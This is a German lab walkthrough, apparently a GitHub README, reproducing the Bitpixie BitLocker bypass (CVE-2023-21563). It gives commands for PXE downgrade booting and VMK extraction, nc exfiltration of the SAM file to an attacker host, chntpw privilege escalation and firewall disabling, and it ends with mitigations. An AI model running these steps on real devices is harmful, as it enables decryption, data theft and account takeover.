lr2006-robot/bitpixieKnacken der BitLocker-Verschlüsselung basierend auf der Sicherheitslücke CVE-2023-21563
Den vollständigen Blog finden Sie hier
Reproduktion in einer virtuellen Maschine. Der lokale Rechner (Angreifer) verwendet Ubuntu 22.04.5 LTS, die Opfermaschinen sind Windows 10 21H2 19041.1 und Windows 11 21H2 22000.318, beide mit aktivierter BitLocker-Verschlüsselung. QEMU wird als Hypervisor verwendet, verwaltet mit virt-manager. Hier verwende ich die virtuelle Maschine mit Windows 11.
Meine Dateien zur Reproduktion stammen aus dem Syss GitHub-Repository und wurden von mir um Tool-Versionsanpassungen sowie die Behandlung einiger Sonderfälle erweitert. Sie können direkt heruntergeladen und verwendet oder nach Bedarf angepasst werden. Die VM-Images stammen von UUP Dump, wo verschiedene Windows-Versionen zum Download angeboten werden. Nach dem Download führt man die cmd- oder sh-Datei aus, um ein ISO-Image zu erhalten.
Auf die Installation und Verwendung von QEMU und virt-manager wird hier nicht näher eingegangen. Neu heruntergeladene Benutzer aktivieren jedoch in virt-manager unter „Edit -> Preferences -> General -> Enable XML editing" die XML-Bearbeitungsfunktion, damit wir die XML-Konfigurationsdatei der VM direkt bearbeiten können.
Beim Erstellen der VM wählt man „Local install media (ISO image or CDROM)" und das zuvor heruntergeladene Windows-11-ISO-Image. Weisen Sie geeignete Ressourcen zu (CPU, RAM, Festplattenspeicher usw.) und wählen Sie unbedingt „Customize configuration before install", damit wir die Konfigurationsdatei vor der Installation bearbeiten können. Falls die automatische Erkennung des Systems Probleme bereitet, können wir selbst „Microsoft Windows 10/11" auswählen.
Jetzt beginnen wir mit der Konfiguration. Der wichtigste Punkt (da dieser später nicht mehr geändert werden kann, während andere Einstellungen nach der Erstellung wiederholt angepasst werden können): Wählen Sie im Reiter „Overview" als Firmware „UEFI x86_64: /usr/share/OVMF/OVMF_CODE_4M.ms.fd". Falls diese Option nicht gewählt wurde, löschen Sie die VM einfach und richten Sie sie neu ein – es ist ohnehin nicht aufwendig.
Wechseln Sie dann zum Reiter „Boot Options" und stellen Sie sicher, dass „SATA CDROM 1" aktiviert ist, da wir sonst das System nicht installieren können. Sie können „SATA CDROM 1" an den Anfang der Liste verschieben, um den Bootvorgang zu vereinfachen. Anschließend kann die VM direkt erstellt werden. Nach der Installation des Systems nehmen wir die übrigen Konfigurationsänderungen gebündelt vor.
Sehen Sie „Press any key to boot from CD or DVD..."? Drücken Sie eine beliebige Taste, um in den Installationsbildschirm zu gelangen, und schließen Sie die Installation den Anweisungen folgend ab. Falls Sie versehentlich auf einer anderen Seite landen, geraten Sie nicht in Panik: Wählen Sie „Boot Manager" und anschließend „UEFI: QEMU DVD-ROM", um zur ursprünglichen Oberfläche zurückzukehren und mit einer beliebigen Taste zu booten.
Als Nächstes installieren Sie das System. Haken Sie direkt „Kein Produktschlüssel" an und installieren Sie die Pro-Edition. Danach folgt die lästige Kontoregistrierung – hier empfiehlt es sich, direkt den Offline-Start zu wählen, um Ärger zu vermeiden. Falls diese Option nicht vorhanden ist, öffnen Sie mit Shift + F10 die Eingabeaufforderung und geben Sie OOBE\BYPASSNRO ein, um die Option zur Erstellung eines Offline-Kontos zu aktivieren.
Nach erfolgreichem Login können Sie im Terminal msinfo32 eingeben, um die Systeminformationen anzuzeigen (bei physischen Maschinen prüfen, ob UEFI verwendet wird). Fahren Sie die VM dann herunter und nehmen Sie die Konfigurationsänderungen vor:
<rom enabled="no"/> hinzu, um den Netzwerk-Boot zu ermöglichen. Hier ein Beispiel:<interface type="network">
<mac address="52:54:00:2f:53:4e"/>
<source network="default"/>
<model type="virtio"/>
<boot order="2"/>
<rom enabled="no"/>
<address type="pci" domain="0x0000" bus="0x01" slot="0x00" function="0x0"/>
</interface>
Die virtio-Netzwerkkonfiguration wird hauptsächlich wegen der „Paravirtualisierungs"-Eigenschaft der Netzwerkhardware gewählt, die direkt mit dem Host kommuniziert. Gleichzeitig wird das Netzwerk-Boot-ROM deaktiviert, damit die UEFI-Firmware über das integrierte PXE-Protokoll direkt mit der virtio-Netzwerkkarte kommuniziert und unnötige Störungen während des Bootvorgangs vermieden werden. So wird sichergestellt, dass wir problemlos ins System gelangen und die weiteren Konfigurations- und Testschritte durchführen können.
Starten Sie die VM und installieren Sie den virtio-Treiber über das CD-Laufwerk. Die Konfiguration erfolgt dabei automatisch. Anschließend können Sie kurz testen, ob das Netzwerk funktioniert. Danach aktivieren Sie die BitLocker-Verschlüsselung. Sie können auf dem Desktop eine Flag-Datei anlegen, um diese später zu verifizieren.
Wenn Sie die Reproduktion auf einer physischen Maschine durchführen, verbinden Sie Angreifer- und Opfermaschine einfach mit einem Netzwerkkabel; eine virtio-Konfiguration ist nicht erforderlich. Die übrige Konfiguration ist im Wesentlichen identisch. Beachten Sie lediglich, dass eine physische Maschine mehrere Netzwerkschnittstellen haben kann – wählen Sie die richtige Schnittstelle für die Konfiguration.
Damit ist die Konfiguration der Opfermaschine abgeschlossen. Fahren Sie sie anschließend herunter. Nun können wir gemäß den zuvor im Exploit-Prinzip festgelegten Schritten den Exploit durchführen.
Hier zeigen wir eine Referenzgrafik des gesamten Angriffsablaufs. Sie können sich zunächst einen groben Überblick verschaffen; die einzelnen Schritte setzen wir im Folgenden nacheinander um:
Auf dem lokalen Rechner (Angreifer) müssen folgende Pakete installiert sein:
Unter Ubuntu oder Debian können Sie diese mit dem folgenden Befehl installieren:
sudo apt install dnsmasq libwin-hivex-perl python3-impacket
Führen Sie in den mitgelieferten Projektdateien build.sh aus, um bitpixie-initramfs zu erzeugen. Falls Sie die Umgebung lokal anpassen möchten, können Sie build.sh entsprechend ändern, die gewünschten Tools und Versionsdateien konfigurieren und bitpixie-initramfs anschließend neu erzeugen.
Geben Sie dann im Terminal ifconfig ein, um das virtuelle Gateway des lokalen Rechners (Angreifer) zu ermitteln. Hier ein Beispiel von meinem Rechner:
virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.123.1 netmask 255.255.255.0 broadcast 192.168.123.255
ether 52:54:00:23:11:39 txqueuelen 1000 (Ethernet)
RX packets 46749 bytes 4384179 (4.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 67170 bytes 414459630 (414.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Verwenden Sie die folgenden Befehle, um den TFTP-Server für den PXE-Bootprozess sowie den SMB-Server für die Übertragung des Skripts zur Modifikation der BCD-Datei zu starten. Tragen Sie die soeben ermittelte Schnittstelle ein – bei mir ist es virbr0.
# Start the TFTP and the DHCP server
./start-server.sh pxe <interface>
# Start the SMB server for the transfer of the BCD file
./start-server.sh smb <interface>
Das Hauptproblem besteht darin, dass der Befehl bcdedit nur mit lokalen Administratorrechten ausgeführt werden kann. Da sich die BCD-Datei jedoch auf der unverschlüsselten EFI-Partition des Laufwerks befindet, gibt es mehrere Möglichkeiten, sie zu extrahieren. Eine Methode besteht darin, das physische Festplattenlaufwerk zu entfernen und die BCD-Datei auf einem anderen System zu extrahieren. Einfachere und weniger invasive Methode ist jedoch der Start in die erweiterten Startoptionen. Bei den meisten Systemen genügt Umschalt + Neustart. Diese Methode funktioniert sogar auf dem Anmeldebildschirm. Nun kann unter „Problembehandlung -> Erweiterte Optionen -> Eingabeaufforderung" die Befehlszeile aufgerufen werden. Dabei wird sehr wahrscheinlich der BitLocker-Wiederherstellungsbildschirm angezeigt; dieser kann mit der Schaltfläche „Dieses Laufwerk überspringen" übersprungen werden.
Geben Sie nun im Terminal zunächst ipconfig ein, um die Netzwerksituation zu prüfen. Wenn eine IP-Adresse im Bereich 10.13.37.xxx angezeigt wird, können Sie die folgenden Schritte überspringen. Falls nicht, müssen Sie das Netzwerk manuell konfigurieren. Prüfen Sie zunächst den korrekten Pfad – welches Laufwerk und welche VM-Version vorliegen:
dir D:\NetKVM\w11\amd64
dir E:\NetKVM\w11\amd64
Geben Sie anschließend je nach Ergebnis die folgenden Befehle ein, um das Netzwerk zu konfigurieren:
drvload D:\viostor\w11\amd64\viostor.inf
drvload D:\NetKVM\w11\amd64\netkvm.inf
ipconfig
Sobald eine IP-Adresse erscheint, kann die SMB-Übertragung durchgeführt werden. Geben Sie die folgenden Befehle ein, um die modifizierte BCD-Datei direkt auf die Angreifer-Maschine zu übertragen. Damit kann der eigentliche Bitpixie-Angriff direkt gestartet werden:
wpeutil initializenetwork
net use S: \\10.13.37.100\smb
cd %TEMP%
copy S:\create-bcd.bat .
.\create-bcd.bat
Als Nächstes kehren wir zur Oberfläche zurück und booten über „Gerät verwenden -> PXE-Start" in den herabgestuften Bootloader, laden die modifizierte BCD, entsiegeln das Laufwerk, der Kernelstart schlägt fehl und pxesoftreboot wird ausgeführt. Falls der PXE-Start nicht gefunden wird, können Sie zurückkehren und die VM-Konfiguration prüfen, ob die NIC-Option unter „Boot Options" aktiviert ist. Da wir den PXE-Server kontrollieren, gelangen wir in das zuvor vorbereitete Debian-System.
Anschließend melden wir uns mit root an, verwenden den Befehl su und führen unser Skript gegen die Partition aus:
run-exploit /dev/sda3
Wenn alles wie erwartet läuft, werden die passenden VMK-Daten direkt angezeigt. Gleichzeitig sehen wir im aktuellen Verzeichnis eine Datei vmk.dat – das ist die von uns aus dem Speicher extrahierte VMK-Datei. Der Inhalt der verschlüsselten Partition wurde unter /mnt eingehängt, sodass wir direkt hineinwechseln und die zuvor erstellte Flag-Datei ansehen können.
Damit haben wir die Bitpixie-Schwachstelle erfolgreich ausgenutzt, die VMK-Datei der BitLocker-verschlüsselten Festplatte extrahiert und auf den Inhalt der verschlüsselten Festplatte zugegriffen.
Natürlich können auch Probleme auftreten, z. B. wenn keine VMK-Datei gefunden wird. In diesem Fall empfiehlt es sich, es erneut zu versuchen, da die VMK möglicherweise nicht korrekt im Speicher erhalten oder nicht korrekt gescannt wurde. Auch eine falsche BCD-Version kann die Ursache sein. Ein weiterer Fall: Die VMK-Datei wurde gefunden, aber die verschlüsselte Partition kann nicht eingehängt werden. Dies kann an einer unvollständigen oder beschädigten VMK-Datei liegen. Achten Sie unbedingt auf die gültige Signatur 03 20 01 00. Sie können versuchen, die VMK-Datei erneut zu extrahieren, oder prüfen, ob das verwendete Tool die BitLocker-Version des aktuellen Systems unterstützt (die dislcker-Version ist auf eine stabile alte Version festgelegt; Sie können eine neuere Version herunterladen).
Bis hierher haben wir auf die benötigten Dateien zugegriffen, aber die ursprünglichen Dateien des Computers wurden noch nicht exportiert. Wir können die benötigten Daten direkt über das Netzwerk auf die Angreifer-Maschine übertragen. Ich entscheide mich hier für die direkte Übertragung über das Netzwerk auf die Angreifer-Maschine. Mein Vorschlag ist, nur die nützlichen Dateien zu übertragen – die Systemdateien sind nicht erforderlich. Als Beispiel nehme ich hier die Flag-Datei auf dem Desktop und die SAM-Datei des Systems.
Für die Übertragung kleiner Dateien genügt es, auf der Angreifer-Maschine einen Verbindungsport zu öffnen:
nc -lvp 4444 > flag.txt
nc -lvp 4445 -q 1 > SAM
Geben Sie auf der Opfermaschine die folgenden Befehle ein, um die Dateien auf die Angreifer-Maschine zu übertragen:
dd if=/mnt/Users/Dorange/Desktop/flag.txt | nc <IP> 4444
dd if=/mnt/Windows/System32/config/SAM | nc <IP> 4445
Falls ein Ordner übertragen werden soll, muss dieser zuerst gepackt und dann übertragen werden:
tar -czvf important_files.tar.gz /mnt/Users/Dorange/Desktop/important_files
nc -lvp 4446 > important_files.tar.gz
dd if=important_files.tar.gz | nc <IP> 4446
Obwohl wir bereits Zugriff auf die verschlüsselte Festplatte haben, kontrollieren wir den Computer des Opfers noch nicht vollständig. An dieser Stelle können wir das Tool chntpw verwenden, um die Kennwörter der Benutzerkonten im System zu ändern und so Administratorrechte zu erlangen. Ich empfehle jedoch, einen Benutzer mit geringen Rechten anzulegen und diesen dann auf Administrator zu eskalieren – das ist stabiler.
Hier eskalierte ich den Benutzer mit geringen Rechten „Dorange" zum Administrator. Zunächst müssen wir mit chntpw die Rechte des Benutzerkontos ändern. Hier sind die Beispielbefehle:
chntpw -u Dorange /mnt/Windows/System32/config/SAM
Natürlich kann man auch zunächst mit dem folgenden Befehl hineinwechseln und auswählen, welche Benutzer angezeigt werden sollen:
chntpw - /mnt/Windows/System32/config/SAM
Danach können Sie die Rechte einfach den Anweisungen folgend ändern. Sie können entweder die Rechte direkt anpassen oder den Benutzer zur Administratorgruppe hinzufügen – der Unterschied ist gering. Hier empfehle ich, den Benutzer direkt zur Administratorgruppe hinzuzufügen, da dies stabiler ist. Nach der Änderung können Sie die Rechte mit dem Befehl chntpw -i SAM überprüfen.
Achtung: Die BitLocker-Partition muss ausgehängt werden, um sicherzustellen, dass alle Änderungen auf die Festplatte geschrieben werden, bevor das System neu gestartet wird. Abschließend können Sie direkt prüfen, ob unsere Änderung erfolgreich war. Geben Sie im Terminal net localgroup Administrators ein, um die Mitglieder der Administratorgruppe anzuzeigen und zu sehen, ob der zuvor hinzugefügte Benutzer Dorange enthalten ist.
Nun haben wir erfolgreich in einer virtuellen Maschine die auf der Schwachstelle CVE-2023-21563 basierende BitLocker-Entschlüsselung durchgeführt, die VMK-Datei extrahiert, auf den Inhalt der verschlüsselten Festplatte zugegriffen, wichtige Dateien exportiert und einen Benutzer mit geringen Rechten zum Administrator erhöht.
Die Konfiguration auf einer physischen Maschine ist nicht so benutzerfreundlich wie in der VM. Eine virtuelle Maschine funktioniert mit den vorherigen Schritten grundsätzlich direkt und stellt keine großen Anforderungen an die Hardware. Bei einer physischen Maschine müssen die Hardwarekonfigurationen Schritt für Schritt geprüft werden. Beachten Sie, dass die meisten Computer standardmäßig mit der Home-Edition ausgeliefert werden, BitLocker jedoch offenbar nur in der Pro-Edition verfügbar ist. Daher ist auf einer physischen Maschine möglicherweise ein Upgrade erforderlich.
Bei unseren Experimenten im Team stellten wir fest, dass dies mit der neuen Windows-Version 25H2 nahezu unmöglich ist. Bereits beim Aufrufen der Eingabeaufforderung über die erweiterten Optionen lässt sich die Eingabe des BitLocker-Wiederherstellungsschlüssels nicht überspringen. Selbst wenn man tatsächlich hineingelangt, muss beim PXE-Softreboot der BitLocker-Wiederherstellungsschlüssel eingegeben werden, um den Bootvorgang zu ermöglichen.
Auch die anfänglichen Hardwareanforderungen für physische Maschinen sind recht hoch. Bei einigen schlanken Ultrabooks und älteren Gaming-Laptops wird der PXE-Start von der Hardware nicht unterstützt. Hier gezeigt wird ein schlankes Ultrabook von Xiaomi, dessen Hardware keinen Netzwerk-Start unterstützt (bei normaler Unterstützung gäbe es hier die Option „Network Boot"):
Darüber hinaus stellten wir bei in China verbreiteten ASUS-Laptops fest, dass sie selbst mit einer niedrigeren Windows-Version nach einem fehlgeschlagenen PXE-Start während des Kernel-Boots hängen bleiben (wir vermuten, dass die Hardware des Herstellers gewisse Einschränkungen vornimmt).
Zunächst muss geprüft werden, ob die Opfermaschine den UEFI-Start unterstützt. Dazu geben Sie in Windows msinfo32 ein, um die Systeminformationen anzuzeigen. Wenn in der Systemübersicht unter „BIOS-Modus" der Wert „UEFI" angezeigt wird, wird der UEFI-Start unterstützt.
Am wichtigsten ist, zu prüfen, ob der Fix-Patch auf der physischen Maschine bereits installiert wurde. Geben Sie in der Admin-Eingabeaufforderung Get-HotFix ein, um die System-Patches anzuzeigen. Wenn KB5025885 oder ein weiterführender Patch bereits installiert ist, kann diese Schwachstelle nicht mehr ausgenutzt werden. Gleichzeitig sollten wir prüfen, ob unser Zertifikat noch die alte Version ist (es heißt, Microsoft habe 2026 neue Zertifikate ausgestellt – ob das stimmt, ist unklar).
Get-HotFix -Id KB5025885
certutil -store root | findstr "Microsoft Windows Production PCA 2011"
Zur TPM-Konfiguration: Suchen Sie in Windows nach dem Geräte-Manager, wechseln Sie zu „Sicherheitsgeräte" und prüfen Sie, ob ein TPM-Gerät vorhanden ist und ob die Version 2.0 ist. Falls nicht, müssen Sie die TPM-Funktion im BIOS aktivieren. Geben Sie anschließend in der Admin-Eingabeaufforderung manage-bde -protectors -get C: ein, um den BitLocker-Verschlüsselungsstatus anzuzeigen. Wenn die PCR-Werte des TPM nicht 7 und 11 sind, müssen wir manuelle Anpassungen vornehmen (der derzeit übliche Standard scheint 0, 2, 4, 11 zu sein).
Drücken Sie zunächst „Win + R", geben Sie gpedit.msc ein und öffnen Sie den Editor für lokale Gruppenrichtlinien. Navigieren Sie über „Computerkonfiguration -> Administrative Vorlagen -> Windows-Komponenten -> BitLocker-Laufwerkverschlüsselung -> Betriebssystemlaufwerke", suchen Sie die Option „TPM-Plattformüberprüfungsprofil für lokale UEFI-Firmware konfigurieren", aktivieren Sie sie und wählen Sie unter den Optionen „PCR 7 und 11". Bestätigen Sie und verlassen Sie den Editor.
Kehren Sie anschließend zur Admin-Eingabeaufforderung zurück, löschen Sie zuerst den alten TPM-Schutz und fügen Sie dann den TPM-Schutz erneut hinzu. Dadurch wird die Konfiguration gemäß den zuvor festgelegten PCR 7 und 11 vorgenommen. Beachten Sie, dass – wie wir zuvor gesehen haben – die Bootloader-Dateien durch die alte Version herbeigeführt werden. Daher darf PCR 4 auf keinen Fall enthalten sein, da sonst der Angriff nicht gelingt:
manage-bde -protectors -get C:
manage-bde -protectors -delete C: -type tpm
manage-bde -protectors -add C: -tpm
manage-bde -protectors -get C:
Eine physische Maschine hat den IPv4-PXE-Start möglicherweise nicht standardmäßig aktiviert. Daher müssen wir ihn im BIOS aktivieren. Die Tastenkombination für den BIOS-Zugriff kann man im Internet nachschlagen (bei verschiedenen Computern unterschiedlich, daher wird sie hier nicht erklärt). Notfalls geht es auch mit „Umschalt + Neustart" und anschließender Navigation zu „Problembehandlung -> Erweiterte Optionen -> UEFI-Firmwareeinstellungen", um ins BIOS zu gelangen. Bei meiner physischen Maschine gibt es im BIOS unter dem Reiter Advanced die Option „Advanced\Network Stack Configuration"; dort müssen „Network Stack" und „IPv4 PXE Support" aktiviert werden.
Jetzt konfigurieren wir die physische Netzwerkverbindung. Dazu müssen Angreifer- und Opfermaschine mit einem Netzwerkkabel verbunden werden. Auf der Angreifer-Maschine muss ein DHCP-Server laufen, der der Opfermaschine eine IP-Adresse zuweist (die Zuweisung kann auch manuell erfolgen). Starten Sie den DHCP-Server vorab auf der Angreifer-Maschine:
./start-server.sh smb <interface>
./start-server.sh pxe <interface>
Danach können Sie versuchen, die IP-Adresse der Opfermaschine anzupingen, um zu prüfen, ob das Netzwerk funktioniert. Falls nicht, muss die Netzwerkkonfiguration überprüft werden:
brctl show virbr0
Prüfen Sie, ob der Eintrag interfaces leer ist. Falls ja, müssen wir die physische Netzwerkschnittstelle manuell hinzufügen. Zuerst anzeigen, dann hinzufügen (Sie müssen sie selbst identifizieren):
ip link show
sudo brctl addif virbr0 <interface>
brctl show virbr0
Wenn wir den Eintrag interfaces erneut anzeigen, sollte die hinzugefügte physische Netzwerkschnittstelle zu sehen sein. Nun können Sie versuchen, die IP-Adresse der Opfermaschine anzupingen. Die IP-Adresse der Opfermaschine kann dort mit ipconfig ermittelt werden. Falls der Ping fehlschlägt, muss die Netzwerkkonfiguration überprüft werden, um sicherzustellen, dass sich Angreifer- und Opfermaschine im selben Netzwerksegment befinden.
Wenn die Opfermaschine die Angreifer-Maschine anpingen kann, der Ping in umgekehrter Richtung jedoch fehlschlägt, muss die Firewall-Konfiguration der Opfermaschine überprüft werden. Stellen Sie sicher, dass der Datenverkehr von der Angreifer-Maschine zugelassen wird. Sie können die Firewall vorübergehend deaktivieren:
netsh advfirewall set allprofiles state off
Natürlich führen wir auf der Angreifer-Maschine außerdem diese beiden Befehle aus, um sicherzustellen, dass der Datenverkehr aus dem Netz 10.13.37.0/24 nicht blockiert wird (in der Regel funktioniert die Verbindung auch ohne diese Konfiguration):
sudo iptables -I LIBVIRT_FWI 1 -s 10.13.37.0/24 -j ACCEPT
sudo iptables -I LIBVIRT_FWO 1 -d 10.13.37.0/24 -j ACCEPT
In der Praxis ist die Netzwerkverbindung beim Aufruf der Eingabeaufforderung über die erweiterten Startoptionen jedoch nicht automatisch hergestellt – genau wie zuvor bei der VM-Konfiguration müssen wir die Treiber manuell laden. Natürlich ist es nicht so einfach wie in der VM. Zunächst müssen wir die Treiberdateien auf einem USB-Stick vorbereiten und dann auf der Opfermaschine die Treiber laden und das Netzwerk konfigurieren. Dieser Schritt ist einfach und nahezu identisch mit dem vorherigen, daher wird er nicht weiter erläutert. Die weiteren Schritte sind dieselben wie bei der VM: Folgen Sie einfach den vorherigen Schritten, um die benötigte BCD-Datei zu erhalten.
Natürlich können wir die BCD-Datei auch direkt aus einer VM mit demselben System wie der physischen Maschine extrahieren. Dann ist keine Netzwerkkonfiguration auf der physischen Maschine erforderlich – wir extrahieren die Datei einfach in der VM und übertragen sie per SMB auf die Angreifer-Maschine. Das ist wesentlich einfacher und bequemer. Diese Methode birgt jedoch das Risiko, dass die BCD-Version nicht passt und später keine VMK-Datei gefunden wird.
Der anschließende PXE-Start und die weiteren Schritte unterscheiden sich nicht mehr von den vorherigen. Aufgrund von Hardware-Inkompatibilitäten und ähnlichen Problemen kann es jedoch zu Boot-Fehlern mit Absturz kommen, oder der Start gelingt, aber die VMK-Datei kann nicht gewonnen werden. Daher ist die Erfolgsquote bei der Reproduktion auf physischen Maschinen aufgrund verschiedener Software- und Hardwareprobleme sehr gering. Vielleicht ist das auch einer der Gründe, warum diese Schwachstelle trotz ihrer scheinbaren Schwere nicht weit verbreitet ausgenutzt und behoben wurde.
Dieser Artikel zeigt, dass die Vorab-Startauthentifizierung (Pre-Boot-Authentifizierung) unbefugte Angreifer am Zugriff auf den Inhalt einer verschlüsselten Festplatte hindert. Die Vorab-Start-Authentifizierung kann jedoch böswillige Insider mit gültiger BitLocker-PIN nicht daran hindern, lokale Administratorrechte auf dem Gerät zu erlangen, Antivirensoftware zu deaktivieren oder zwischengespeicherte Anmeldeinformationen zu extrahieren. Dies ist besonders bei gemeinsam genutzten Systemen kritisch, da es einem Angreifer ermöglicht, direkt auf die Daten anderer Benutzer desselben Systems zuzugreifen.
Eine wirksame Maßnahme gegen Downgrade-Angriffe besteht darin, die PCR-Werte zu ändern, die beim TPM-Entsiegeln geprüft werden. Als Reaktion auf die Boot-Manager-Schwachstelle CVE-2024-38058 hat Microsoft PCR 4 zum gemessenen Startprozess hinzugefügt. Dieses Register enthält den Hash des Boot-Manager-Codes sowie alle Startversuche. Derzeit beträgt der Standard-PCR-Wert bei einigen Computern bereits 0, 2, 4, 11.
Das für den Downgrade-Angriff verwendete anfällige Boot-Manager-Programm ist von der Microsoft Windows Production PCA 2011 signiert. Dieses Zertifikat hat eine Gültigkeitsdauer von 15 Jahren, was bedeutet, dass es bis Juni 2026 gültig ist. Die Microsoft UEFI CA 2011 (zum Signieren von Boot-Managern Dritter) und die Microsoft Corporation KEK CA 2011 (zuständig für die Verwaltung der Datenbank- und DBX-Inhalte) werden ein ähnliches Schicksal erleiden. Daher hat Microsoft im Jahr 2023 einen neuen Root-Zertifikatssatz registriert; zum Signieren von Windows-Boot-Managern wird künftig die neue Windows UEFI CA 2023 verwendet. Derzeit ist die Registrierung dieser Zertifizierungsstelle noch nicht automatisch abgeschlossen, kann aber durch manuelles Anwenden des Patches KB5025885 erfolgen. Dieser Patch fügt die neue CA zur Datenbank hinzu, installiert das von der CA 2023 signierte Boot-Manager-Programm und widerruft die CA 2011, indem sie der DBX-Datenbank hinzugefügt wird.
Wenn Ihnen das geholfen hat, geben Sie dem GitHub-Projekt doch bitte einen Star!!!
Haftungsausschluss: Alle Artikel von mir dienen dem technischen Austausch und der Dokumentation zu Verteidigungszwecken. Sämtliche Vorgänge wurden ausschließlich in Testumgebungen durchgeführt. Bitte nutzen Sie sie nicht für andere Zwecke – andernfalls tragen Sie die Konsequenzen selbst.